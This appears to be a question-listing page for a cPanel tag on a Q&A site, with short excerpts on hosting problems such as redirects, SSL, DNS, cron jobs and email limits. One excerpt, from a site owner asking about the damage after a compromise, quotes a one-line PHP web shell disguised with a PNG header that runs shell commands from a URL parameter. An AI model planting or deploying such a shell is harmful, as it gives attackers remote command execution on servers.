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Questions tagged [cpanel]

cPanel utilizes a 3 tier structure that provides functionality for administrators, resellers, and end-user website owners to control the various aspects of website and server administration through a standard web browser.

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1 vote
0 answers
18 views

How to 301 redirect site alias domain to a subdomain on the same hosting?

We have the following problem in Cpanel / htaccess file when trying to 301 redirect example.hu (alias) pages to example.com (subdomain) pages: Cpanel example.hu to example.com redirection is working, ...
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2 votes
0 answers
31 views

How to set up folders for different versions of a site?

I have a rather large site (50 gigs or so) that I am attempting to do an update on. The current URL of the site is set up as the 'main domain' in cpanel and the path is home/username/publicHTML. I ...
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  • 141
1 vote
0 answers
20 views

Unable able to edit registered application in Application Manager in cpanel

I'm registering a node.js application. I'm able to initially register it, but when I go to add an env for instance, and click deploy, I get this error. I'm not even sure where to start. I've been ...
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  • 111
2 votes
2 answers
49 views

Do I need a wildcard SSL certificate to secure my website and email subdomains through cPanel?

I have a website and emails through the same hosting provider which I manage through cpanel. At the moment I am using zeroSSL to secure my website (www.example.com), however, this does not support my ...
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  • 23
1 vote
0 answers
21 views

Will deleting a cron job in CPANEL stop a running job?

I have a cron job in our CPANEL hosting. This is a laravel artisan command "queue:work". Now my problem is, the new code update is not reflecting unless I restart the command. I thought of ...
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  • 111
3 votes
1 answer
87 views

Server's certificate is unknown when using ftp with cPanel

I have a VPS hosting with both WHM/cPanel and SSH root access, I created an FTP account using cPanel, now when I try to connect using FileZilla I get the following warning: The server's certificate is ...
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5 votes
1 answer
69 views

Every hour reach entry processes limit on shared hosting

We are on a shared hosting and from today (we didn't change anything), every beginning hour the website just go away and it's unreachable for 4-5 min. The cPanel says we have reached the Entry ...
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2 votes
0 answers
35 views

Is there an official or safe way to use a LetsEncrypt certificate for the WHM UI?

To be specific, I am talking about using a LetsEncrypt (LE) cert for WHM itself, not a domain being managed by these tools. I'm well aware that I could install Certbot and reconfigure the underlying ...
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1 vote
2 answers
102 views

cPanel - Email queue and allowing sending of outgoing email after the account has been on hold

I'm using a cPanel shared hosting provider which limits the number of emails that can be sent during one hour. On the said hosting, there's a webapp which sends mass emails to some of its users, once ...
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3 votes
1 answer
41 views

Password protected directory [c-panel] - receiving no login prompt when the url is clicked in FB Messenger

The public_html folder is password-protected via the .htaccess file. I'm using an Apache web server and hosting on Godaddy. It works fine if I use any browser on mobile and desktop/laptop devices. But ...
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0 votes
0 answers
71 views

How can I check whether a port is open in cPanel on a shared hosting account?

I need to check if port 3000 is open because when I try to access example.com:3000 I can't connect. How can I check this for sure on cPanel taking into consideration I'm on a shared hosting account ...
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  • 141
5 votes
2 answers
791 views

Domain names mirroring my domain except for small details

I am just an amateur web editor and have had a non-commercial personal website www.mysurname.example with useful technical tips and culture content since 1999. I code my web pages directly in HTML and ...
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  • 173
3 votes
1 answer
81 views

WHM upload CA root certificate to validate Cloudflare certificates

I'm using Cloudflare's self-signed certificates to encrypt traffic between Cloudflare and my origin web server. A problem that cPanel shows a No Valid Certificate for the domain and the error ...
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5 votes
1 answer
195 views

Nginx reverse proxy into external cPanel server results in an error

I am trying to reverse proxy into a cPanel account by attempting to use the following Nginx configuration (123.123.123.123 is the cPanel IP), but I'm getting an error: ERR_TOO_MANY_REDIRECTS server { ...
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2 votes
1 answer
74 views

How do I get another of my domains showing in the browser's address bar?

I have several domains registered with 123-reg and I have shared hosting with them with an associated primary domain. Some of my domains are for specific clubs whose websites all start at the same ...
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3 votes
1 answer
59 views

How to fix a rogue DNS-IP mapping in WHM or cPanel?

I woke up this morning and started getting emails from customers of my website truckercert.com that "the site is down". But what actually happened is the SSL certificate quit working. The ...
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1 vote
1 answer
25 views

cpanel: Reply "550 No Such User" with a Default Address

In cpanel, if I do not set up "Domain Fowarding", a 550 "No Such User" bounces email to non-existent email addresses on my domain. If I do set up Domain Forwarding, email to a non-...
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  • 131
0 votes
1 answer
41 views

Where are API keys stored in cPanel file manager? [closed]

I recently bought a script. Where would I go to change an API key in file manager? Is there a specific area I am supposed to navigate to for finding API keys? I'm sorry that I feel I'm being unclear ...
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2 votes
1 answer
89 views

What is a robots.txt file and how can I use it

I want to use a robots.txt file for my website, which is currently displaying a 404 error when requesting it (e.g., https://www.example.com/robots.txt). How do I make one? There's no option to create ...
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1 vote
0 answers
28 views

Do I need AdSense for an ads.txt? [closed]

I have signed up to be a game publisher with various platforms, and they all require that I add information to an ads.txt file. When I looked it up, all the articles mention Google AdSense. I don’t ...
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0 votes
0 answers
19 views

Strange entries in cPanel Web Disk log

We have a website and email system that uses cPanel / WHM. The log /usr/local/cpanel/logs/cpdavd_session_log contains a list of strange IP addresses hitting the cpdavd service (WebDAV, which cPanel ...
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0 votes
0 answers
156 views

System PHP version upgraded to 7.3 but domain is stuck at 7.2

I recently upgraded PHP from 7.2 to 7.3 on my Centos and Apache server by using cPanel/WHM. I'd updated the System PHP version to 7.3 but the domain is still stuck at 7.2. When I attempt to upgrade ...
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1 vote
0 answers
15 views

How to assign a db user to multiple databases at once from cPanel?

Inside cPanel, I can create a database and I can assign a specific db user to a specific database. But what if I have like 100 databases. How can I assign the same user to all of the databases created ...
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1 vote
0 answers
64 views

#1044 - Access denied for user 'cpses001'@'localhost' to database 'test_db'

I have purchase i hosting with cpanel in godaddy and I am migrating a WordPress site, but the problem when I am trying to import database it gave me this error #1044 - Access denied for user 'cpses001'...
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  • 11
0 votes
0 answers
24 views

Data being edited in .opvn config when vpn app http gets .opvn files from my host. Adds my wordpress site code and removes the config

I have a VPN app that pulls .ovpn files from a folder on my website : /home/mywebsitename/public_html/remoteovpn. When I add the .opvn files to this folder and my app pulls them from https request, ...
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1 vote
1 answer
40 views

Search engines indexing only the old site which has been moved to a subdomain

I recently took up a project for a website overhaul. I went on to deploy my website on the client's hosting service. It uses cPanel. On the hosting service they had the old version of the website. I ...
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1 vote
1 answer
75 views

How can I migrate from a server with cPanel AutoSSL to one using Let's Encrypt without an interruption to my SSL coverage?

I've currently got a live website which is set up with it's SSL cert being provided by cPanels AutoSSL feature. I'm going to be moving my website to a VPS that is provisioned by Laravel Forge and set ...
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  • 11
3 votes
0 answers
93 views

How do I install a wildcard SSL certificate on WHM using Let's Encrypt plugin and Cloudflare DNS?

I am using cPanel 92 on CentOS 7 and my domain.com's DNS zone is running on Cloudflare (free Cloudflare tier) and I'm having trouble getting my subdomains (of a subdomain) running over HTTPS. Security ...
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  • 31
3 votes
0 answers
36 views

Can cPanel listen on all domains on a dedicated IP?

I have a large number of clients (affiliates) that need to make CNAMEs so they use their own domain to display the content of a website hosted on cpanel. This must be done instantly without human ...
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  • 151
1 vote
0 answers
46 views

cPanel route traffic through VPN tunnel allowing me to route IPs

I would like to be able to route an IP I have from another virtual machine to my main cPanel server to be used. cPanel server IP is 198.51.100.1 and the other machine has 203.0.113.1 and 203.0.113.2 ...
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3 votes
1 answer
35 views

Is it possible to add 10 subdomains in a separate cPanel account from the main domain?

I would like to know is it possible to have one domain in a separate cPanel account and all the subdomains in another separate account. Main domain: One cpanel account. 10 subdomains: One cpanel ...
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4 votes
1 answer
169 views

How to add node modules to cPanel

I am new to web hosting. I am currently hosting my website on Morse Host. My website has a menu screen that requires node modules. Uploading them from my computer will take a really long time. Is ...
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  • 141
0 votes
1 answer
350 views

How to import and read email files downloaded from a cPanel backup?

TLDR, question: How can I import and read all those HTML email and attachment files easily ? Most importantly, I need to read the attachments (PDFs) copies of signed contracts, in case... More info: ...
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  • 111
2 votes
3 answers
899 views

Creating an A record and then a CNAME to point a subdomain to a different server gives an error message

I am trying to point a subdomain to a different server. The A Record changed without issue but the CNAME won't save in cPanel. I get this error: Error: sub.domain.com. already has a A record. You may ...
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  • 325
1 vote
0 answers
32 views

How do you know which plugin is consuming CPU?

My Wordpress site is going down from time to time, I see in the server log that wp-load is requested a lot, I blocked external requests to this file. But I still get 5xx error once a day, I have a lot ...
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4 votes
1 answer
101 views

Backdoor exploit - could they have downloaded files from server?

Due to a customer running old Wordpress plugins, a php file with the following code was added to their website: ‰PNG <?php $str = $_GET['cmd']; system($str); ?> The above file was detected by ...
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-1 votes
1 answer
76 views

Want to point a domain to a host and already changed nameservers, what's next?

To be totally honest this is driving me mad because I know it's probably something simple. So I have my domain (elogee.com) registered at 1and1.com while my host is GoDaddy. Right, every article I've ...
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  • 1
2 votes
1 answer
46 views

Why does Cloudflare seem to be caching 522 responses for resources?

I have a number of different websites hosted in cpanel and proxied through Cloudflare. The symptoms I'm getting are as follows: One of my hosted customers will contact me to say something isn't ...
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  • 163
0 votes
1 answer
137 views

How to change the WHM/cPanel account setting for "Use the nameservers specified at the Domain’s Registrar" after a cPanel account is created?

I created a cPanel account through WHM, and I think I forgot to select the option "Use the nameservers specified at the Domain’s Registrar". How can I change that option to start using ...
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1 vote
0 answers
65 views

Why does CPanel show I/O faults when the site has low utilization?

I'm on a shared host and according to stats I'm not close to the limits, yet the resource usage stats show I/O faults: Why are those fault lines there when the usage is well below the red limit?
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  • 498
2 votes
0 answers
316 views

Running PHP echo $_SERVER ['DOCUMENT_ROOT']; Shows Apache Default Path

Trying to get set up and running on a new hosting company after the old one announced they are discontinuing their service at the end of the year, I am having difficulty getting the sites to run. I ...
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  • 153
2 votes
1 answer
149 views

cPanel incorrectly identifying remote DNS server type

I have installed cPanel on three servers, 1 x hosting server and 2 x DNSOnly servers. cPanel is using PowerDNS as the default DNS service. I have created a DNS cluster (as one would when installing ...
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2 votes
1 answer
126 views

Redirect domain in CPanel without using htaccess so I can delete old domain

I have an old website that is being hosted on Apache/CPanel site. I'm being charged for hosting this site, even though it's being redirected to another site. I'd like to delete the hosting of the ...
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  • 2,826
1 vote
1 answer
29 views

When does CPanel discard last months logs? Is the last day of the month properly processed?

I've got a website on shared hosting under CPanel 86.0.21. Under Metrics/"Raw access", there's a checkbox to enable discarding previous month's logs. How does that work, exactly? The log ...
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1 vote
1 answer
253 views

CPanel Rearrange account can't find home2

I want to move an account using WHM/CPanel from the /home folder to /home2 folder, but the tool does not find the /home2, it says: "The user is already installed on the only usable partition on ...
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2 votes
1 answer
2k views

Running express server on cPanel

I'm trying to run an express server on cPanel. For this, I'm using the facility of the "Setup Nodejs App" that cPanel provides. But after running my script from cPanel loading doesn't stop and it ...
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1 vote
0 answers
38 views

Can I use cPanel's redirect feature to redirect the home page and a deep page to another domain?

I want to redirect my main homepage to redirect (e.g. example.com) to a separate website but also redirect other subpages (e.g. example.com/contact) to a separate website as well. But when I redirect ...
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  • 11
0 votes
1 answer
21 views

How to change where the abuse email's get sent? [closed]

I have a domain called example.com which is registered with namecheap. example.com is hosted on a VPS with the hosting company XYZ (make up company) with WHM and cPanel Nameservers are being dealt ...
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2 votes
2 answers
882 views

Unable to download large zipped file of cPanel full backup (Chrome download restarts download )

I'm trying to download a full backup in the format of .tar.gz after using the cPanel Backup Wizard to backup my entire Home directory in File Manager. The size of the file is 31.62 GB. I'm ...
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  • 121
1 vote
1 answer
3k views

why I can't login to cPanel, shows error Maximum Users Exceeded?

When I try to login to cPanel, it shows an error Maximum Users Exceeded. please see the error message below. I didn't do any changes to server. this appears very suddenly. how can I fix this? I ...
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